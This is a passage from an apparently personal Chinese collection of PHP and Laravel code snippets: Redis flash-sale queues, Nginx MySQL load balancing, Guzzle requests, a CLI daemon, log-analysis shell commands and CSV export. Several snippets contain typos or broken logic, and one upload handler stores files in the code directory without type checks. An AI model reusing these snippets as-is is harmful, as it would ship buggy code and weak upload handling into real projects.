64
65
66

CREATE TABLE `redis_queue`(
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`uid` int(11) NOT NULL DEFAULT `0`,
`time_stamp` varchar(24) NOT NULL,
PRIMARY KEY(`id`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;

接收用户请求的user.php

<?php
// 加载redis组件
$redis = new Redis();
$redis -> connect('127.0.0.1', 6379);
$redis_name = 'miaosha';

// 接收用户的id
$uid = $_GET['uid'];
// 获取一下redis里面已有的数量
$num = $redis->lLen($redis_name);
// 如果当天人数少于10的时候,则加入这个队列
if ($num < 10) {
$redis->rPush($redis_name, $uid.'%'.microtime());
echo $uid.'秒杀成功';
} else{
// 如果当天人数已经达到了10个人,则返回秒杀已完成
echo '秒杀已结束';
}

$redis->close();
处理队列的入库程序

<?php
include '../include/db.php';

// 加载redis组件
$redis = new Redis();
$redis -> connect('127.0.0.1', 6379);
$redis_name = 'miaosha';
$db= DB::getIntance();

// 死循环
while (1) {
// 从队列最左取出一个值来
$user = $redis->lPop($redis_name);
// 然后判断这个值是否存在
if (!$user || $user=='nil') {
sleep(2);
continue;
}
// 切割出时间
$user_arr = explode('%', $user);
$insert_data = array(
'uid' => $user_arr[0],
'time_stamp' => $user_arr[1],
);
// 保存到数据库中
$res = $db->insert('redis_queue', $insert_data);
// 数据库插入失败的时候的回滚机制
if (!$res) {
$redis->rPush($redis_name, $user);
}
sleep(2);
}
//释放redis
$redis -> close();

将一组数字组合出一个最大值

1
2
3
4
5
6
7
8
9
10
11
12
13
//https://www.raymondwu.net/2018/08/24/%E5%B0%86%E4%B8%80%E7%BB%84%E6%95%B0%E5%AD%97%E7%BB%84%E5%90%88%E5%87%BA%E4%B8%80%E4%B8%AA%E6%9C%80%E5%A4%A7%E5%80%BC/
$items = [50, 1, 2, 9];//若有一个数组的值为 [50, 1, 2, 9],那么它的最大组合值就是95021
for ($i = 0; $i < count($items); $i++) {
for ($j = $i + 1; $j < count($items); $j++) {
$a = (string)$items[$i];
$b = (string)$items[$j];
if ($a . $b < $b . $a) {
$items[$i] = $b;
$items[$j] = $a;
}
}
}
echo implode('', $items);

Nginx 部署 MySQL 负载均衡

1
2
3
4
5
6
7
8
9
10
11
12
stream {
upstream dbserver {
server 172.16.121.131:3306;
server 172.16.121.132:3306;
server 172.16.121.133:3306;
}
server {
listen 3307;
proxy_pass dbserver;
}
}
定义了三台从数据库服务器,分别是 172.16.121.131 ~ 133。当我以 3307 端口请求服务器时,服务器就会将我的请求代理到服务器组里,并按照顺序请求。

php artisan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
php artisan list
php artisan list make
Available commands for the "make" namespace:
make:command Create a new command class
make:console Create a new Artisan command
make:controller Create a new resource controller class
make:event Create a new event class
make:middleware Create a new middleware class
make:migration Create a new migration file
make:model Create a new Eloquent model class
make:provider Create a new service provider class
make:request Create a new form request class

php artisan migrate:refresh -h
php artisan make:controller -h

php artisan list app

Laravel Eloquent 提示和技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

$article = Article::find($article_id);
$article->increment('read_count');
Article::find($article_id)->increment('read_count');
Article::find($article_id)->increment('read_count', 10); // +10
Product::find($produce_id)->decrement('stock'); // -1
$user = User::findOrFail($id);
$user = User::firstOrCreate(['email' => $email]);
public function approvedUsers()
{
retrun $this->hasMany('App\User')->where('approved', 1)->orderBy('email');
}
$users = User::find([1,2,3]);
$users = User::where('approved', 1)->get();
$query = Author::query();

$query->when(request('filter_by') == 'likes', function ($q) {
return $q->where('likes', '>', request('likes_amount', 0));
});

$query->when(request('filter_by') == 'date', function ($q) {
return $q->orderBy('created_at', request('ordering_rule', 'desc'));
});
$query = User::query();

$query->when(request('role', false), function ($q) use ($role) {
return $q->where('role_id', $role);
});

$authors = $query->get();
public function author()
{
return $this->belongsTo('App\Author')->withDefault();
}
// whereRaw
$orders = DB::table('orders')
->whereRaw('price > IF(state = "TX", ?, 100)', [200])
->get();
// havingRaw
Product::groupBy('category_id')->havingRaw('COUNT(*) > 1')->get();
// orderByRaw
User::where('created_at', '>', '2018-11-11')
->orderByRaw('(updated_at - created_at) desc')
->get();
$task = Task::find(1);
$newTask = $task->replicate();
$newTask->save();
$product = Product::find(1);
$product->updated_at = '2018-11-11 11:11:11';
$product->save(['timestamps' => false]);

$q->where(function ($query) {
$query->where('gender', 'Male')->where('age', '>', 18);
})->orWhere(function ($query) {
$query->where('gender', 'Female')->orWhere('age', '>=', 65);
})

判断图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
使用getimagesize()函数,如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。
$file = $req->file("imgfile");
dump(getimagesize ($file->getRealPath()));
array:7 [
0 => 3024
1 => 4032
2 => 2
3 => "width="3024" height="4032""
"bits" => 8
"channels" => 3
"mime" => "image/jpeg"
]
$imgUrl = "http://www.baidu.com/img/shouye_b5486898c692066bd2cbaeda86d74448.gif";
$data = file_get_contents($imgUrl);
//echo ($data);
$im = imagecreatefromstring($data);
if($im != false){
echo '<p>图片正常...</p>';
}else{
echo '<p>图片已损坏...</p>';
}
function check_img_by_source($source) {

switch(bin2hex(substr($source,0,2))){
case 'ffd8' : return 'ffd9' === bin2hex(substr($source,-2));
case '8950' : return '6082' === bin2hex(substr($source,-2));
case '4749' : return '003b' === bin2hex(substr($source,-2));
default : return false;
}
}

var_dump(check_img_by_source(file_get_contents('11.gif'));
function isImage($filename)
{
$types = '.gif|.jpeg|.png|.bmp'; //定义检查的图片类型
if(file_exists($filename))
{
if (($info = @getimagesize($filename))
return 0;

$ext = image_type_to_extension($info['2']);
return stripos($types,$ext);
}
else
{
return false;
}
}

if(isImage('isimg.txt')!==false)
{
echo isImage('1.jpg');
echo '是图片';
}
else
{
echo '不是图片';
}
$mimetype = exif_imagetype("1.jpg");
if ($mimetype == IMAGETYPE_GIF || $mimetype == IMAGETYPE_JPEG || $mimetype == IMAGETYPE_PNG || $mimetype == IMAGETYPE_BMP)
{
echo "是图片";
}

位运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class LightControl
{
const TURN_ON_ALL = 0b11111;
const KITCHEN = 0b10000;
const SECOND_LIE = 0b01000;
const DINING_ROOM = 0b00100;
const LIVING_ROOM = 0b00010;
const MASTER_ROOM = 0b00001;

private $options;

public function __construct($options = 0)
{
$this->options = $options;
echo '主卧', "\t";
echo '客厅', "\t";
echo '餐厅', "\t";
echo '次卧', "\t";
echo '厨房', "\t", PHP_EOL;
}

public function getOptions()
{
return $this->options;
}

public function setOptions($options)
{
$this->options = $options;
}

public function showOptions()
{
echo self::getOption($this->options, self::MASTER_ROOM), "\t";
echo self::getOption($this->options, self::LIVING_ROOM), "\t";
echo self::getOption($this->options, self::DINING_ROOM), "\t";
echo self::getOption($this->options, self::SECOND_LIE), "\t";
echo self::getOption($this->options, self::KITCHEN);
}

//获取指定灯的开关状态https://laravel-china.org/articles/22312
private static function getOption($options, $option)
{
return intval(($options & $option) > 0);
}
}
$lightControl = new LightControl();
$lightControl->showOptions();
主卧 客厅 餐厅 次卧 厨房
0 0 0 0 0
$lightControl = new LightControl(LightControl::TURN_ON_ALL ^ LightControl::KITCHEN);
$lightControl->showOptions();
主卧 客厅 餐厅 次卧 厨房
1 1 1 1 0

CURL 发送文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<form action="/testFile" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" />
</form>
public function testFile(Request $request){
$data = array(
'file'=> new \CURLFile(realpath($request->file('file')->path())),
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"/testLoadFile");//此处以当前服务器为接收地址
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT,10);//设置最长等待时间
curl_setopt($ch, CURLOPT_POST, 1);//post提交
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

$data = curl_exec($ch);//执行
if(curl_errno($ch)){
return curl_error($ch);
}
curl_close($ch);//释放

return json_encode($data);
}
public function testLoadFile(Request $request){
if ($request->hasFile('file')) {
if ($request->file('file')->isValid()){
// 上传成功
// 随机名字 . 后缀
$fileName = "other/".Date("YmdHis").substr(md5(time()),5,15).".".$request->file("file")->extension();// 需要 开启php_fileinfo 扩展 否则会报错
// 获取临时上传的路径(如果不存在本地,则方法调用完之后,会被删除)
//$fileUrl = $request->file('file')->path();
// 可选存储在本地
$fileUrl = $request->file("file")->move(__DIR__."/",$fileName);

return ($fileUrl);
}
}
return json_encode([]);
}

验证图片安全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 检查某个路径是否在指定文件夹内。若为真,返回此路径,否则返回 false。
* @param String $path 被检查的路径https://laravel-china.org/topics/19624
* @param String $folder 文件夹的路径,$path 必须在此文件夹内
* @return bool|string 失败返回 false,成功返回 $path
*
*/
function checkPathIsInFolder($path, $folder) {
if ($path === '' OR $path === null OR $path === false OR $folder === '' OR $folder === null OR $folder === false) {
/* 不能使用 empty() 因为有可能像 "0" 这样的字符串也是有效的路径 */
return false;
}
$folderRealpath = realpath($folder);
$pathRealpath = realpath($path);
if ($pathRealpath === false OR $folderRealpath === false) {
// Some of paths is empty
return false;
}
$folderRealpath = rtrim($folderRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$pathRealpath = rtrim($pathRealpath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if (strlen($pathRealpath) < strlen($folderRealpath)) {
// 文件路径比文件夹路径短,那么这个文件不可能在此文件夹内。
return false;
}
if (substr($pathRealpath, 0, strlen($folderRealpath)) !== $folderRealpath) {
// 文件夹的路径不等于它必须位于的文件夹的路径。
return false;
}
// OK
return $path;
}

shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1、查看当天有多少个IP访问:

awk '{print $1}' log_file|sort|uniq|wc -l
  2、查看某一个页面被访问的次数:

grep "/index.php" log_file | wc -l
  3、查看每一个IP访问了多少个页面:

awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
  4、将每个IP访问的页面数进行从小到大排序:

awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
  5、查看某一个IP访问了哪些页面:

grep ^111.111.111.111 log_file| awk '{print $1,$7}'
  6、去掉搜索引擎统计当天的页面:

awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
  7、查看2018年11月21日14时这一个小时内有多少IP访问:

awk '{print $4,$1}' log_file | grep 21/Nov/2018:14 | awk '{print $2}'| sort | uniq | wc -l
  8、列出当天访问次数最多的IP
表示用-分割 表示打印第一部分 将重复行去掉, -c表示前面前面加上数目 按照数字从大到小排序
cut -d- -f 1 log_file |uniq -c | sort -rn | head -20

守护进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
class Deamon
{
protected $_pidFile;

public function __construct()
{
$this->_pidFile = '/var/www/html/queue/public/pid.log';
$this->_checkPcntl();
}

/**
* 创建守护进程核心函数
* @return string|void
*/
private function _demonize()
{
if (php_sapi_name() != 'cli') {
die('Should run in CLI');
}
//创建子进程
$pid = pcntl_fork();
if ($pid == -1) {
return 'fork faile';
} elseif ($pid) {
//终止父进程
exit('parent process');
}
//在子进程中创建新的会话
if (posix_setsid() === -1) {
die('Could not detach');
}
//改变工作目录
chdir('/');
//重设文件创建的掩码
umask(0);
$fp = fopen($this->_pidFile, 'w') or die("Can't create pid file");
//把当前进程的id写入到文件中
fwrite($fp, posix_getpid());
fclose($fp);
//关闭文件描述符
fclose(STDIN);
fclose(STDOUT);
fclose(STDERR);
//运行守护进程的逻辑
$this->job();
return;
}

/**
* 守护进程的任务
*/
private function job()
{
//TODO 你的守护经常需要执行的任务
while (true) {
file_put_contents('/var/www/html/queue/public/job.log', 'job' . PHP_EOL, FILE_APPEND);
sleep(5);
}
}

/**
* 获取守护进程的id
* @return int
*/
private function _getPid()
{
//判断存放守护进程id的文件是否存在
if (!file_exists($this->_pidFile)) {
return 0;
}
$pid = intval(file_get_contents($this->_pidFile));
if (posix_kill($pid, SIG_DFL)) {//判断该进程是否正常运行中
return $pid;
} else {
unlink($this->_pidFile);
return 0;
}
}

/**
* 判断pcntl拓展
*/
private function _checkPcntl()
{
!function_exists('pcntl_signal') && die('Error:Need PHP Pcntl extension!');
}

private function _message($message)
{
printf("%s %d %d %s" . PHP_EOL, date("Y-m-d H:i:s"), posix_getpid(), posix_getppid(), $message);
}

/**
* 开启守护进程
*/
private function start()
{
if ($this->_getPid() > 0) {
$this->_message('Running');
} else {
$this->_demonize();
$this->_message('Start');
}
}

/**
* 停止守护进程
*/
private function stop()
{
$pid = $this->_getPid();
if ($pid > 0) {
//通过向进程id发送终止信号来停止进程
posix_kill($pid, SIGTERM);
unlink($this->_pidFile);
echo 'Stoped' . PHP_EOL;
} else {
echo "Not Running" . PHP_EOL;
}
}

private function status()
{
if ($this->_getPid() > 0) {
$this->_message('Is Running');
} else {
echo 'Not Running' . PHP_EOL;
}
}

public function run($argv)
{
$param = is_array($argv) && count($argv) == 2 ? $argv[1] : null;
switch ($param) {
case 'start':
$this->start();
break;
case 'stop':
$this->stop();
break;
case 'status':
$this->status();
break;
default:
echo "Argv start|stop|status " . PHP_EOL;
break;
}
}

}

$deamon = new \Deamon();
$deamon->run($argv);
开启守护进程:php demon.php start
停止守护进程:php demon.php stop
查看守护进程的状态:php demon.php status

laravel获取记录的原始属性

1
2
3
4
5
6
7
$user = App\User::first();
$user->name; //John

$user->name = "Peter"; //Peter

$user->getOriginal('name'); //John
$user->getOriginal(); //原始 $user 记录

获取重复值

1
2
3
4
5
6
7
8
9
10
11
12
13
// 获取去掉重复数据的数组
$a = [1,2,3,4,5,6,3,6];
$uniqueArr = array_unique ($a);
// 获取重复数据的数组 array_diff_assoc() 返回一个数组,该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 不同的是键名也用于比较。
$repeatArr = array_diff_assoc ($a,$uniqueArr);
var_dump($repeatArr);
结果:
array(2) {
[6]=>
int(3)
[7]=>
int(6)
}

表限制

1
2
3
4
5
6
7
8
表数据限制:
1、Excel 2003及以下的版本。一张表最大支持65536行数据,256列。
2、Excel 2007-2010版本。一张表最大支持1048576行,16384列。
https://laravel-china.org/articles/22724
也就是说你想几百万条轻轻松松一次性导入一张EXCEL表是不行的,你起码需要进行数据分割,保证数据不能超过104W一张表。

PHPexcel内存溢出:
既然数据限制在104W,那么数据分割就数据分割呗,于是你尝试50W一次导入表,然而PHPexcel内部有函数报内存溢出错误,然后你就不断的调小数据量,直到5W一次导入你都会发现有内存溢出错误。

带索引检查计算数组的差集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");

$result = array_diff_assoc($array1, $array2);

print_r($result); // 输出:["b" => "brown", "c" => "blue", 0 => "red"]
// 大家可以发现这里 red 有输出,为啥呢,因为第二个数组中 red 的 key 为 1。与数组一中的 key 为 0,不一致,所以有输出。https://laravel-china.org/articles/22678

// Laravel

$array1 = collect([
"a" => "green",
"b" => "brown",
"c" => "blue", "red"
]);
$array2 = [
"a" => "green",
"yellow", "red"
];

return $array1->diffAssoc($array2);

// Result
{
"0": "red",
"b": "brown",
"c": "blue"
}

过滤xss

1
2
3
$ composer require "mews/purifier:~2.0"
$ php artisan vendor:publish --provider="Mews\Purifier\PurifierServiceProvider"
$topic->body = clean($topic->body, 'default');

laravel事件队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
namespace App\Htt\Controllers;
use Illuminate\Http\Request;
//我们先引入一个事件类,名字自定义的,之后再一步一步创建
use App\Events\Register;
class UserController extends Controller
{
public function register(Request $request)
{
//获取参数
//验证参数
//写入数据库
//触发事件,以后所有需要注册后要做的事情,都不需要再这里加代码了,我们只需要管理事件就好了
//event方法是laravel自带方法, $uid是外部参数,看你需要做什么,传什么参数了。注册之后肯定有$uid的嘛
event(new Register($uid));
//return 注册信息

}
}
<?php

namespace App\Providers;
use Laravel\Lumen\Providers\EventServiceProvider as ServiceProvider
class EventServiceProvider extends ServiceProvider
{

protected $listen = [
// 用户注册后的事件
'App\Events\Register' => [
// 发送广告邮件
'App\Listeners\SendAdMail',
// 发送短信
'App\Listeners\SendSms',
// 发送帮助信息
'App\Listeners\SendHelpInformation',

],
];
}
<?php

namespace App\Events;

class Register
{

public $uid;

/**
* 创建一个新的事件实例.
*
* @param Order $order
* @return void
*/
public function __construct($uid)
{
$this->uid = $uid;
}
}
<?php

namespace App\Listeners;

use App\Events\Register;
use App\Models\User;
use Illuminate\Contracts\Queue\ShouldQueue;

class SendHelpInformation implements ShouldQueue
{

public function __construct()
{
//
}

public function handle(Register $event)
{
$uid = $event->uid;

$user = User::find($uid);

//......各种实现
}
}

guzzle上传图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$client = new \GuzzleHttp\Client();
$body = fopen('/home/summer/图片/dog1.jpg', 'r');//https://laravel-china.org/articles/22813?#reply79441
$response = $client->request('POST', 'http://account.chr.test/upload',
[
'multipart' => [
[
'name' => 'body',
'contents' => fopen('/home/summer/图片/dog1.jpg', 'r')
],
]
]
);
dump($response->getStatusCode()); #打印响应信息
dump($response->getBody());
dump(json_decode($response->getBody()->getContents())); #输出结果

guzzle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
//https://media.readthedocs.org/pdf/guzzle/5.3/guzzle.pdf
use GuzzleHttp\Event\EmitterInterface;
use GuzzleHttp\Event\SubscriberInterface;
use GuzzleHttp\Event\BeforeEvent;
use GuzzleHttp\Event\CompleteEvent;
class SimpleSubscriber implements SubscriberInterface
{
public function getEvents()
{
return [
// Provide name and optional priority
'before' => ['onBefore', 100],
'complete' => ['onComplete'],
// You can pass a list of listeners with different priorities
'error' => [['beforeError', 'first'], ['afterError', 'last']]
];
}
public function onBefore(BeforeEvent $event, $name)
{
echo 'Before!';
}
public function onComplete(CompleteEvent $event, $name)
{
echo 'Complete!';
}
}
$client = new GuzzleHttp\Client();
$emitter = $client->getEmitter();
$subscriber = new SimpleSubscriber();
$emitter->attach($subscriber);
//to remove the listeners
$emitter->detach($subscriber);
use GuzzleHttp\Client;
use GuzzleHttp\Event\EmitterInterface;
use GuzzleHttp\Event\BeforeEvent;
$client = new Client(['base_url' => 'http://httpbin.org']);
$request = $client->createRequest('GET', '/');
$request->getEmitter()->on(
'before',
function (BeforeEvent $e, $name) {
echo $name . "\n";
// "before"
echo $e->getRequest()->getMethod() . "\n";
// "GET" / "POST" / "PUT" / etc.
echo get_class($e->getClient());
// "GuzzleHttp\Client"
}
);

function json_decode($json, $assoc = false, $depth = 512, $options = 0)
{
$data = \json_decode($json, $assoc, $depth, $options);
if (JSON_ERROR_NONE !== json_last_error()) {
throw new \InvalidArgumentException(
'json_decode error: ' . json_last_error_msg()
);
}

return $data;
}
https://learnku.com/laravel/t/3553/how-to-read-the-json-data-in-the-response-response-to-guzzle
\Guzzle\json_decode( (string) $response->getBody(), true);

GuzzleHttp\Promise是对Promises/A+的一个实现。
实现功能有:
1.异步链式执行。
2.cancel操作(Promise状态仍然处于pending时)
3.wait同步链式执行
echo 'step1';
$promise = new \GuzzleHttp\Promise\Promise();
$promise->resolve('step 3");
$promise->then(function($param){echo $param;});
echo 'step2';
// 执行顺序
step1
step2
step3

$promise->then(function($param){echo $param; return $param."1";})
->then(function($param){echo $param."2";})
->then(function($param){echo $param."3";});

echo 'step1';
$promise = new \GuzzleHttp\Promise\Promise();
$promise->resolve('step 3");
$promise->then(function($param){echo $param;})->wait();
echo 'step2';
// 执行顺序https://www.jianshu.com/p/c3bad948a905
step1
step3 (会阻塞执行,直到step3执行结束才会执行后续的step2)
step2
promise基本原理是一系列回调函数入队列,而出队列的函数注册到php脚本结束是运行的register_shutdown_function函数中。
因此,所有的promise都是入队列,脚本执行结束再执行;如果脚本执行结束之前,有E_ERROR级别错误,promise不会执行。

基于 GD 库生成圆形头像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 获取圆
*
* @param $imgPath 图片网络路径, 本地路径
* @return resource
* @author 19/1/29 CLZ.
*/
private function _circleImg($imgPath)
{
$src_img = imagecreatefromjpeg($imgPath);

list($w, $h) = getimagesize($imgPath);
$w = $h = min($w, $h);
$img = imagecreatetruecolor($w, $h);
imagesavealpha($img, true);

// 拾取一个完全透明的颜色,最后一个参数127为全透明
$bg = imagecolorallocatealpha($img, 255, 255, 255, 127);

imagefill($img, 0, 0, $bg);
$r = $w / 2; // 圆的半径
for ($x = 0; $x < $w; $x++) {
for ($y = 0; $y < $h; $y++) {
$rgbColor = imagecolorat($src_img, $x, $y);
if (((($x - $r) * ($x - $r) + ($y - $r) * ($y - $r)) < ($r * $r)))
imagesetpixel($img, $x, $y, $rgbColor);
}
}
imagedestroy($src_img);
return $img;
}

Laravel 分组获取最新记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//https://learnku.com/articles/20626
select * from (select * from project where user_id = :user_id order by id desc) as a group by a.name order by id desc;
原因是 5.7 版本 ORDER BY 没有 LIMIT 的时候,少了一个 DERIVED 操作,估计是内部优化了,认为 ORDER BY 在这种语法中可忽略,有 LIMIT 限制涉及排序后的结果,不会忽略 ORDER BY,可以达到预期。
select * from (select * from project where user_id = :user_id order by id desc limit 10000) as a group by a.name order by id desc;
$limit = $request->get('limit',10);
$user_id = $request->get('user_id',null);

$sub_query = Project::where('user_id',$user_id)->orderBy('id','desc')->limit(1000);//子查询

$results = Project::select('*')
->from(DB::raw('('.$sub_query->toSql().') as a')) //from() 类似与 DB::table(), toSql()得到带 ? 号的执行 sql 语句
->mergeBindings($sub_query->getQuery())//mergeBindings() 合并绑定参数,getQuery()获得具体值
->groupBy('name')
->orderBy('id','desc')
->paginate($limit);

return $this->pageDate($results);

打包exe

1
2
3
4
5
6
7
8
9
10
11
package main
#https://segmentfault.com/a/1190000013795920
import (
test "github.com/yimogit/gotest"
)

func main() {
test.HelloWord()
}
go get -v github.com/yimogit/gotest
go build -o test.exe

laravel读主

1
2
3
4
5
6
在Model里面加上下面这句,强制读主(写)库数据库,解决主从延迟问题。
public static function boot()
{
//清空从连接,会自动使用主连接
DB::connection()->setReadPdo(null);
}

PHP使用Memcached存储Session

1
2
3
4
5
6
session.save_handler = memcached 
session.save_path = "localhost:11211"
session_start();
var_dump(session_id());//vkfc4eefu7ihlu5iv7v3je8rm0 https://php1024.com/posts/50.htm
var_dump(ini_get('memcached.sess_prefix')); // 'memc.sess.key.'
get memc.sess.key.vkfc4eefu7ihlu5iv7v3je8rm0

单元测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
composer global require "phpunit/phpunit=5.5.*"
或者在composer.json文件中声明对phpunit/phpunit的依赖
https://php1024.com/posts/15.htm
{
"require-dev": {
"phpunit/phpunit": "5.5.*"
}
}
在tests\unit\MyApiTest.php中定义了两个测试用例


<?php

class MyApiTest extends \PHPUnit_Framework_TestCase
{
protected $client;

public function setUp()
{
$this->client = new \GuzzleHttp\Client( [
'base_uri' => 'http://myhost.com',
'http_errors' => false, #设置成 false 来禁用HTTP协议抛出的异常(如 4xx 和 5xx 响应),默认情况下HTPP协议出错时会抛出异常。
]);
}

public function testAction1()
{
$response = $this->client->get('/api/v1/action1');
$body = $response->getBody();

//添加测试
$this->assertEquals(200, $response->getStatusCode());
$data = json_decode($body, true);
$this->assertArrayHasKey('errorno', $data);
$this->assertArrayHasKey('errormsg', $data);
$this->assertArrayHasKey('data', $data);
$this->assertEquals(0, $data['errorno']);
$this->assertInternalType('array', $data['data']);
}

public function testAction2()
{
$response = $this->client->post('/api/v1/action2', [
'form_params' => [
'name' => 'myname',
'age' => 20,
],
]);
$body = $response->getBody();

//添加测试
$this->assertEquals(200, $response->getStatusCode());
$data = json_decode($body, true);
$this->assertArrayHasKey('errorno', $data);
$this->assertArrayHasKey('errormsg', $data);
$this->assertArrayHasKey('data', $data);
$this->assertEquals(0, $data['errorno']);
$this->assertInternalType('array', $data['data']);
}

}
运行测试
在项目根目录执行命令

php vendor/bin/phpunit tests/unit/MyApiTest.php

lumen 事务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
use Illuminate\Database\Eloquent\ModelNotFoundException;
use DB;
use App\Models\Article;
use App\Models\Comment;
use App\Models\Counter;
use App\Models\Log;
...
// 开始事务
DB::beginTransaction();
try {
$id = 5;
$article = Article::findOrFail($id);
Comment::where('article_id', $id)->delete();
Counter::where('article_id', $id)->delete();
Log::insert([
'content' => '删除文章:'.$id
]);
// 流程操作顺利则commit
DB::commit();
} catch (ModelNotFoundException $e) {
// 抛出异常则rollBack
DB::rollBack();
}

lumen sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DB::statement('drop table users');
https://segmentfault.com/a/1190000005792605#articleHeader18
DB::listen(function($sql, $bindings, $time)
{
// $query->sql
// $query->bindings
// $query->time

});
$users = DB::connection('foo')->select(...);
$pdo = DB::connection()->getPdo();

DB::beginTransaction();
DB::rollback();
DB::commit();
DB::transaction(function()
{
DB::table('users')->update(['votes' => 1]);

DB::table('posts')->delete();
});

xml2array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//https://learnku.com/articles/22936#f411d0 一个类只做一件事 
private static function xml2Array($xml)
{
if (!static::isXml($xml)) {
throw new ResponseNotXMLException();
}
function _XML2Array(SimpleXMLElement $parent)
{
$array = array();

foreach ($parent as $name => $element) {
($node = &$array[$name])
&& (1 === count($node) ? $node = array($node) : 1)
&& $node = &$node[];

$node = $element->count() ? _XML2Array($element) : trim($element);
}

return $array;
}

$xml = new SimpleXMLElement($xml);
$data = _XML2Array($xml);

return $data;
}
private static function isXml($xml)
{
return xml_parse(xml_parser_create(), $xml, true);
}

导出Excel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
//导出说明:因为EXCEL单表只能显示104W数据,同时使用PHPEXCEL容易因为数据量太大而导致占用内存过大,https://blog.csdn.net/Tim_phper/article/details/86636608
//因此,数据的输出用csv文件的格式输出,但是csv文件用EXCEL软件读取同样会存在只能显示104W的情况,所以将数据分割保存在多个csv文件中,并且最后压缩成zip文件提供下载
function putCsv(array $head, $data, $mark = 'attack_ip_info', $fileName = "test.csv")
{
set_time_limit(0);
$sqlCount = $data->count();
// 输出Excel文件头,可把user.csv换成你要的文件名
header('Content-Type: application/vnd.ms-excel;charset=utf-8');
header('Content-Disposition: attachment;filename="' . $fileName . '"');
header('Cache-Control: max-age=0');

$sqlLimit = 100000;//每次只从数据库取100000条以防变量缓存太大
// 每隔$limit行,刷新一下输出buffer,不要太大,也不要太小
$limit = 100000;
// buffer计数器
$cnt = 0;
$fileNameArr = array();
// 逐行取出数据,不浪费内存
for ($i = 0; $i < ceil($sqlCount / $sqlLimit); $i++) {
$fp = fopen($mark . '_' . $i . '.csv', 'w'); //生成临时文件
// chmod('attack_ip_info_' . $i . '.csv',777);//修改可执行权限
$fileNameArr[] = $mark . '_' . $i . '.csv';
// 将数据通过fputcsv写到文件句柄
fputcsv($fp, $head);
$dataArr = $data->offset($i * $sqlLimit)->limit($sqlLimit)->get()->toArray();
foreach ($dataArr as $a) {
